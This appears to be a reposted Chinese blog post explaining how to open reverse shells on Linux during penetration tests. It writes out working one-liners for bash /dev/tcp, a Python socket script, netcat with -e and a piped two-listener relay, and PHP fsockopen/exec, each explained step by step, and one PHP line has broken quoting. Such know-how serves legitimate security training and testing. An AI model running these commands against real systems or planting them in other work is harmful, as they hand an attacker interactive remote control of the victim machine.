详解反弹shell命令

在渗透过程中,经常需要反弹shell,因此总结一下linux反弹shell的几种姿势:

bash -i >&  /dev/tcp/ip/port 0>&1

bash -i 本地以交互模式打开一个bash

>&  输出重定向,将标准输出和标准错误输出都重定向到远程。

/dev/tcp/ip/port/ 建立一个socket连接到另一个机器上,即远程到其他机器。

0>&1 标准输入重定向到标准输出,但是此时标准输出已经重定向到了/dev/tcp/ip/port这个

文件,即自己的攻击机上,也就意味着输入和输出都在远程上了

/dev/tcp/ linux中一切都是文件,设备也是文件,打开这个文件,发出了一个socket调用,建立了一个socket连接

python -c  //执行后面的代码

"import os,socket,subprocess; // 导入三个库os,socket,subprocess

s=socket.socket(socket.AF_INET,socket.SOCK_STREAM); //创建一个使用TCP的socket

s.connect(('ip',port));  // 执行connect函数连接到监听机器的IP和端口

os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2); //使用os库的dup2函数重定向。

p=subprocess.call(['/bin/bash','-i']);"  

//建立一个子进程,传入参数-i,是bash以交互模式启动。

nc -e /bin/bash ip port

-e 在创建连接之后执行的程序,

在创建NC链接之后,执行本地shell(/bin/bash)即完成了反弹

如果NC禁用了-e参数,则可以使用linux管道符“|”协助进行反弹,但是攻击机需要打开两个终端,一个终端输入命令,一个终端输出结果

目标机:nc  ip1 81  |  /bin/bash  |  nc ip2 82

攻击机:nc -lvvp 81  nc -lvvp 82

管道符号“|” 可以将上一个命令的输出作为下一个命令的输入

将 ip1 81 传过来的命令交给/bin/bash执行,将结果传给 ip2 82输出

php -r 'exec('/bash -i >& /dev/tcp/127.0.0.1/4444 0>&1');'

php -r '$sock=fsockopen("ip",port);exec("/bin/bash -i <&3 >&3 2>&3");'

php -r 直接运行php代码  php -f  运行指定文件

exec()函数用来执行一个外部程序

fsockopen(主机名称,端口号码,错误号的接受变量,错误提示的接受变量,超时时间)    打开一个网络连接或者一个Unix套接字连接

主机名称: 发送数据的目的地,接收数据的IP;

端口号: 发送数据的目的地的端口,接收数据的端口;

错误号接受变量: 建立socket不成功的时候返回的错误编号;

错误提示的变量: 是错误的时候返回的错误提示信息;

超时时间: 就是post数据之后如果对方没有回应信息,等待的最长时间。

socket也是,不但可以用于网页传输,还能传送其他东西,可以做聊天工具、下载器、ftp……几乎可以用网络传送的东西都能用它写出来

fsockopen 是比较底层的调用,属于网络系统的socket调用。fsockopen 返回的是没有处理过的数据,包括数据的长度数据内容和数据的结束符。


 

猜你喜欢

转载自blog.csdn.net/qq_32393893/article/details/105454227